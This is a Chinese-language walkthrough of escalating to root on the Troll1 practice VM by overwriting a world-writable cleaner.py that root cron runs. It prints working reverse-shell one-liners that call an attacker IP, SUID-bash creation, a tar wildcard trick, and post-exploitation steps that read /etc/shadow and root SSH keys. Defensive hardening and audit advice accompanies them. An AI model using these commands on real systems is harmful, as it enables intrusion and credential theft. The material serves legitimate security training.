Linux定时任务提权实战:从Cron Job到Root Shell的权限提升 1. 项目概述从定时任务到权限巅峰的快速通道在渗透测试和网络安全学习领域靶机攻破是检验技能、理解系统漏洞的绝佳方式。Troll1靶机以其精巧的设计和“陷阱”闻名其中利用cleaner.py脚本通过定时任务Cron Job提权堪称一个经典且高效的权限提升案例。这个操作的核心不在于复杂的漏洞利用或0day攻击而在于对Linux系统运维机制——特别是定时任务和文件权限管理的深刻理解与巧妙利用。它完美诠释了“最小的权限配置失误可能成为通往root权限的康庄大道”。简单来说这个“骚操作”的场景是我们作为低权限用户例如一个普通用户或Web服务账户在目标系统上发现了一个以root权限周期性运行的定时任务而这个任务执行的脚本cleaner.py我们拥有写入权限。通过篡改这个脚本的内容我们就能让root权限的定时任务执行我们注入的恶意代码从而直接获得一个具有root权限的shell。整个过程思路清晰、步骤明确对于理解Linux权限模型和提权原理极具教学价值。无论你是刚入门渗透测试的新手还是想巩固基础的安全从业者这个案例都值得深入剖析和亲手实践。2. 核心原理与前置知识拆解在动手之前我们必须彻底搞清楚“为什么能这么做”。这不仅仅是跟着步骤做更要理解每一步背后的系统机制这样才能举一反三应对其他类似场景。2.1 Linux定时任务Cron的运行机制Cron是Linux/Unix系统中用于计划周期性执行任务的守护进程。用户可以通过crontab命令编辑自己的定时任务列表系统也有全局的定时任务目录如/etc/crontab以及/etc/cron.d//etc/cron.hourly/等。关键点在于权限继承Cron任务以什么用户身份运行是由任务定义本身决定的。在/etc/crontab中每行任务格式为分钟 小时 日 月 周 用户名 要执行的命令例如* * * * * root /usr/local/bin/cleaner.py表示这个任务每分钟都以root用户身份执行一次cleaner.py脚本。如果任务是通过sudo crontab -e为root用户添加的或者放在/etc/cron.d/下的配置文件里指定了用户为root那么这些任务运行时都拥有完整的root权限。这就是我们提权的“发动机”——一个高权限的执行上下文。2.2 文件权限与所有权攻击面的来源Linux中每个文件和目录都有所有者user、所属组group和其他人others的读r、写w、执行x权限。提权漏洞往往源于不恰当的权限设置。在Troll1靶机的场景中cleaner.py脚本很可能存在以下权限问题之一或组合错误的所有权脚本文件由root拥有但所属组或其他人的权限中包含了写w权限。例如权限为-rwxrwxrwx777是极度危险的意味着任何用户都能修改它。脆弱的目录权限脚本所在的目录权限过于宽松。即使脚本本身是-rwxr-xr-x755仅root可写但如果其父目录例如/usr/local/bin/被设置为drwxrwxrwx777任何用户都可以删除该脚本并重新创建一个同名恶意脚本。或者目录有sticky位缺失等问题。符号链接Symlink攻击如果定时任务执行的命令是相对路径或者脚本本身是一个可以被我们控制的符号链接也可能导致问题。核心在于一个以root权限运行的程序如果其内容可以被低权限用户控制那么低权限用户就能控制root执行什么代码。cleaner.py就是这个被控制的“程序”。2.3 Python脚本的执行与库导入风险cleaner.py是一个Python脚本。除了直接修改脚本内容还需要注意Python的模块搜索路径sys.path。如果脚本中使用了import语句且导入的模块文件.py文件或模块所在目录的低权限用户可写同样可能通过污染模块的方式进行攻击。不过在Troll1的经典案例中通常是最直接的脚本内容覆盖。注意在实际渗透测试中务必先确认目标。盲目修改系统关键脚本可能导致服务崩溃触发警报。在靶机环境中可以大胆尝试在真实环境中必须遵循授权和最小影响原则。3. 实操环境搭建与信息收集我们假设已经通过某种方式例如SSH弱口令、Web应用漏洞获得了Troll1靶机的一个低权限shell。现在我们需要系统地探索环境找到那个关键的cleaner.py和它的定时任务。3.1 初始立足点与权限确认首先确认我们当前的身份和基本权限。whoami id pwdid命令会详细显示用户IDuid、组IDgid以及所属的附加组。这让我们明确自己的权限等级。3.2 寻找定时任务寻找系统定时任务有多种方法需要综合使用检查系统级Cron目录ls -la /etc/cron* /etc/crontab /etc/anacrontab 2/dev/null cat /etc/crontab重点关注/etc/crontab文件内容和/etc/cron.d/目录下的所有文件。仔细查看每一行寻找以root身份运行的任务特别是那些执行路径看起来像脚本的任务。检查各用户的Cron任务crontab -l # 查看当前用户的定时任务通常权限不高 ls -la /var/spool/cron/crontabs/ 2/dev/null # 查看所有用户的crontab文件需要root权限读内容如果我们能读取/var/spool/cron/crontabs/root那将获得直接信息但通常需要root权限。使用pspy等工具监控进程如果静态查找困难可以上传pspy一个非特权进程监控工具到靶机。它可以观察到系统周期性启动的进程即使它们来自cron。这对于发现隐藏的或动态生成的定时任务非常有效。# 在攻击机上 wget https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64 # 上传到靶机并执行 chmod x pspy64 ./pspy64运行后观察输出寻找规律性出现的、以root身份执行的命令特别是执行python脚本的命令。3.3 定位并分析cleaner.py假设通过上述方法我们在/etc/crontab中发现了如下行* * * * * root /usr/local/bin/cleaner.py接下来我们需要彻底检查这个脚本。ls -la /usr/local/bin/cleaner.py查看其权限。理想对我们攻击者而言的情况是类似-rwxr-xrwx757或-rwxrwxrwx777即其他用户others有写w权限。也可能是组group有写权限而我们的用户恰好在那个组里。如果权限显示只有root可写如-rwxr-xr-x755我们还需要检查其所在目录的权限ls -la /usr/local/bin/ | grep cleaner.py ls -ld /usr/local/bin/如果目录权限是drwxrwxrwx777我们依然可以通过删除原文件并创建新文件的方式进行攻击。最后查看脚本内容了解其正常功能这有助于我们设计更隐蔽的恶意代码或者判断其是否调用了其他可写文件。cat /usr/local/bin/cleaner.py4. 利用与提权操作实现一旦确认cleaner.py可写剩下的就是技术实现。我们的目标是将一个能给我们root shell的命令注入到脚本中。4.1 方法一直接覆盖脚本内容最直接这是最简单粗暴的方法。直接编辑或覆盖cleaner.py使其包含反向shell或SUID shell生成代码。示例写入一个Python反向Shell假设我们的攻击机IP是192.168.1.100监听端口为4444。 在靶机上执行echo import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.100,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]); /usr/local/bin/cleaner.py或者为了保持一点隐蔽性可以在原脚本末尾追加如果原脚本不大且我们可读cat /usr/local/bin/cleaner.py /tmp/cleaner_backup.py # 备份原内容如果需要 echo -e \n# 恶意代码注入 /usr/local/bin/cleaner.py echo import os; os.system(bash -c \bash -i /dev/tcp/192.168.1.100/4444 01\) /usr/local/bin/cleaner.py在攻击机上启动Netcat监听nc -lvnp 4444然后等待最多一分钟因为cron任务是每分钟运行一次当定时任务触发时我们就会在攻击机上收到一个来自靶机的、以root权限运行的shell。4.2 方法二创建SUID Shell更持久如果我们希望获得一个持久的后门可以在脚本中创建一个SUIDSet User ID位的bash副本。SUID位的文件在执行时会以文件所有者的身份运行。如果我们创建一个属于root且设置了SUID的/tmp/bash那么任何用户执行它都会获得root shell。修改cleaner.py加入以下内容import os os.system(cp /bin/bash /tmp/rootbash; chmod xs /tmp/rootbash)或者用一行Python实现__import__(os).system(cp /bin/bash /tmp/rbash chmod 4755 /tmp/rbash)等待定时任务执行后在靶机上以低权限用户执行/tmp/rootbash -p-p参数用于保留提升的权限即可获得root shell。实操心得在真实环境中方法二SUID可能比反向Shell更隐蔽因为它不产生外部网络连接。但/tmp目录下的可疑文件也容易被巡检发现。可以尝试将文件放在更隐蔽的目录或使用隐藏文件名以点开头。4.3 方法三利用目录权限进行文件替换如果cleaner.py本身不可写但其所在目录/usr/local/bin权限为777我们可以采用“移花接木”的方法。cd /usr/local/bin mv cleaner.py cleaner.py.bak # 重命名原文件可能需要root如果目录可写通常可以重命名 echo 恶意Python代码 cleaner.py # 创建新的恶意脚本 chmod x cleaner.py # 赋予执行权限因为新建的文件可能没有x权限等待cron执行后记得清理现场或者将原文件移回取决于你的目的。5. 深入排查与权限巩固拿到root shell远不是终点尤其是对于渗透测试学习而言。我们需要理解如何发现这类漏洞以及如何防止它们。5.1 攻击视角扩大战果与信息收集获得root权限后应立即进行以下操作抓取密码哈希读取/etc/shadow文件与/etc/passwd结合可用于后续破解或密码复用。cat /etc/shadow查看SSH密钥检查/root/.ssh/目录获取authorized_keys和私钥可能用于横向移动或持久化。cat /root/.ssh/authorized_keys cat /root/.ssh/id_rsa检查历史命令查看root用户的shell历史了解管理员习惯和系统关键信息。cat /root/.bash_history寻找其他敏感信息如数据库配置文件、应用源码、备份文件等。建立持久化后门例如添加新的SSH密钥、创建隐藏的cron任务、安装rootkit等仅在授权测试的靶机中进行。5.2 防御视角漏洞成因与修复方案从系统管理员的角度看这个漏洞的根源在于不安全的文件权限配置。修复措施包括最小权限原则定时任务执行的脚本其所有权应严格为root:root权限应设置为755-rwxr-xr-x或更严格的700-rwx------确保只有root可写。chown root:root /usr/local/bin/cleaner.py chmod 755 /usr/local/bin/cleaner.py # 或 chmod 700安全的目录权限脚本所在目录的权限也应严格控制。像/usr/local/bin这样的系统目录权限应为755drwxr-xr-x杜绝其他用户写权限。chmod 755 /usr/local/bin使用不可篡改的属性如果文件系统支持对于关键脚本可以设置immutable不可变属性防止任何修改。chattr i /usr/local/bin/cleaner.py # 设置不可变 chattr -i /usr/local/bin/cleaner.py # 取消不可变审计与监控定期使用类似find命令审计系统中所有可写的脚本文件特别是那些被root cron引用的。find / -type f -perm -ow -user root 2/dev/null # 查找全局其他用户可写的root文件 find /etc/cron* /var/spool/cron -type f -exec ls -la {} \; 2/dev/null | grep -v ^$ # 查看所有cron任务文件使用专用工具部署文件完整性监控FIM工具如AIDE、Tripwire等当关键系统文件如/etc/crontab,/usr/local/bin/cleaner.py被修改时发出警报。6. 进阶思考与类似漏洞拓展Troll1的cleaner.py案例是一个典型但定时任务提权的花样远不止于此。理解其本质后可以识别更多变种通配符Wildcard滥用如果cron任务中使用了通配符例如root tar -czf /backups/*.log并且当前目录用户可写则可以通过创建特殊文件名如--checkpoint1--checkpoint-actionexecshell.sh来利用tar的特性执行命令。这不是脚本本身可写而是任务执行时的环境可控。PATH环境变量劫持如果cron任务中调用的是命令名而非绝对路径如cleaner而不是/usr/local/bin/cleaner.py并且脚本开头没有指定解释器#!/usr/bin/env python3那么系统会从PATH环境变量指定的目录中寻找名为cleaner的可执行文件。如果低权限用户可以将一个恶意可执行文件写入到PATH中比原脚本更靠前的目录就能实现劫持。Python库劫持PYTHONPATH类似于PATH如果cleaner.py使用了import语句导入自定义模块或第三方库而Python模块搜索路径sys.path受PYTHONPATH环境变量影响中的某个目录用户可写就可以在该目录下放置同名的恶意模块文件实现代码注入。其他脚本语言Shell, Perl等原理完全相同。任何由root cron执行的、用户可控的脚本或配置文件如通过source或.加载的shell配置文件都是潜在的攻击点。不安全的临时文件处理脚本本身可能不可写但它在执行过程中会在/tmp等目录创建临时文件。如果临时文件名可预测且没有安全地创建使用mktemp就可能存在符号链接竞争Symlink Race漏洞导致向任意文件写入内容。排查这类漏洞的思路是统一的寻找高权限root的执行流并检查该执行流所依赖的所有资源脚本、配置文件、环境变量、输入数据是否可以被低权限用户影响或控制。只要存在一个这样的控制点就可能实现权限提升。7. 靶机实战中的注意事项与排错在Troll1或其他类似靶机实战中你可能会遇到一些“坑”这里记录几个常见问题和解决思路找不到cleaner.py或相关cron任务可能原因任务可能不是系统cron而是某个用户的anacron任务或者是由systemd timer管理的。尝试检查/etc/anacrontab和systemctl list-timers --all。可能原因任务名称或路径不同。尝试使用find / -name *clean* -type f 2/dev/null进行全盘搜索或用grep -r clean /etc/cron* /var/spool/cron 2/dev/null进行内容搜索。可能原因任务被配置为只运行一次或在特定时间运行。使用pspy长时间监控是最可靠的方法。脚本权限显示为755仅root可写但目录权限也正常检查点确认你是否在某个有特权的组里使用id命令查看。也许脚本的组权限是可写的如750而你的用户恰好在那个组。检查点是否有其他路径例如/usr/local/bin可能是一个符号链接指向一个权限宽松的实际目录。终极手段如果以上都不行回顾信息收集阶段是否遗漏了其他以root身份运行的可写脚本或二进制文件提权路径可能不止一条。写入恶意代码后cron执行了但没有收到shell网络问题检查攻击机防火墙确认监听端口如4444是否开放。尝试在靶机上用nc -zv 攻击机IP 4444测试连通性。命令语法问题Python反向Shell代码可能因Python版本2 vs 3或环境差异而失败。尝试使用更通用的命令如os.system(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|nc 192.168.1.100 4444 /tmp/f)或者先测试一个简单的命令如os.system(touch /tmp/success)看文件是否被创建以验证代码执行是否成功。输出被重定向Cron任务的标准输出和错误默认会通过邮件发送给任务所有者root。如果脚本有语法错误你可能收不到shell但可以通过查看系统邮件/var/mail/root或cron日志/var/log/cron或/var/log/syslog来排查错误信息。环境变量问题Cron执行任务时的环境变量与交互式Shell不同PATH通常非常精简。因此在脚本中使用绝对路径是最佳实践。确保你的反向Shell命令如bashnc使用了绝对路径/bin/bash/bin/nc。操作后触发警报或靶机异常在修改系统文件前尽量先备份原文件。恶意代码尽量简单、高效避免长时间占用CPU或产生大量日志。获得shell后优先稳定shell使用python -c import pty; pty.spawn(/bin/bash)进行TTY升级然后清理或恢复脚本减少被发现的风险。这个利用定时任务提权的过程本质上是一场关于权限和信任的博弈。它深刻地提醒我们在系统运维和开发中任何一个微小的配置疏忽在攻击者眼中都可能是一个闪闪发光的突破口。对于防御者这意味着必须贯彻最小权限原则和纵深防御对于攻击者在授权范围内这意味着需要具备细致入微的观察力和对系统机制的深刻理解。Troll1靶机的这个案例正是培养这种能力的绝佳起点。

本月热点